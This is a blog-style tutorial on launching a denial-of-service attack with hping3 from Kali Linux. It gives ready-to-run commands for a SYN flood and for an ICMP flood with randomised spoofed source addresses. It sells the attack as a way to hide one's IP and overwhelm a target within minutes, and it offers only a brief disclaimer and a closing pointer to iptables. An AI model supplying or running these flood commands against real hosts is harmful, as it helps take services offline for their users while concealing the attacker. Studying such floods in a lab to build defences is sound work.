After DOS attack

In computing, a denial-of-service (DoS) or distributed denial-of-service (DDoS) attack is an attempt to make a machine or network resource unavailable to its intended users. Although the means to carry out, the motives for, and targets of a DoS attack vary, it generally consists of efforts to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet. In this article I will show how to carry out a Denial-of-service Attack or DoS using hping3 with spoofed IP in Kali Linux. 
 If you are executing a Denial of Service attack or DoS using hping3 the main thing you can do with  this is that:-

  •     You can hide your IP address.
  •     Your destination machine will see source from random source IP addresses rather than yours.
  •     Your destination machine will get overwhelmed within 5 minutes and stop responding.

Sounds good? I bet it does. But before we go and start using hping3, let’s just go over the basics..

What’s hping3?

hping3 is a free packet generator and analyzer for the TCP/IP protocol. Hping is one of the de-facto tools for security auditing and testing of firewalls and networks, and was used to exploit the Idle Scan scanning technique now implemented in the Nmap port scanner. The new version of hping, hping3, is scriptable using the Tcl language and implements an engine for string based, human readable description of TCP/IP packets, so that the programmer can write scripts related to low level TCP/IP packet manipulation and analysis in a very short time.

hping3 should be used to…

  •     Traceroute/ping/probe hosts behind a firewall that blocks attempts using the standard utilities.Denial-of-service Attack – DoS using hping3 with spoofed IP in Kali Linux – blackMORE Ops – 61
  •     Perform the idle scan (now implemented in nmap with an easy user interface).
  •     Test firewalling rules.
  •     Test IDSes.
  •     Exploit known vulnerabilties of TCP/IP stacks.
  •     Networking research.
  •     Write real applications related to TCP/IP testing and security.
  •         and many more.

hping3 is pre-installed on Kali Linux like many other tools. It is quite useful and I will demonstrate a simple DOS attack here.

Here the fun begins but don’t use this anywhere where you are not supposed to use(You know what i mean).

 A Simple SYN Flood can be done by this command.

  • hping3 -S –flood -V victim’s IP  

 Simple Flood with spoofed ip

  • hping3 –flood –rand-source –icmp -p 443 victim’s IP

       First i have started a localhost in my WIN7 machine(You can use WAMP,XAMPP,ApacheMYFriend etc.) and can access this my by KALI LINUX machine. To DOS attack my WIN7 machine

  1. Open the terminal in KALI LINUX
  2. Type hping3
  3. You can also Type hping3 –h or hping3 –help or man hping3(for manual page)
  4. Just type:- hping3 –flood –rand-source –icmp -p 443 victim’s IP

 Just look at my CPU Usage pre and post DOS attack by HPING3.

Conclusion

Any new and modern firewall will block it and most Linux kernels are built in with SYN flood protection these days. This guide is meant for research and learning purpose.

For those who are having trouble TCP SYN or TCP Connect flood, try learning IPTables and ways to figure out how you can block DoS using hping3 or nping or any other tool.
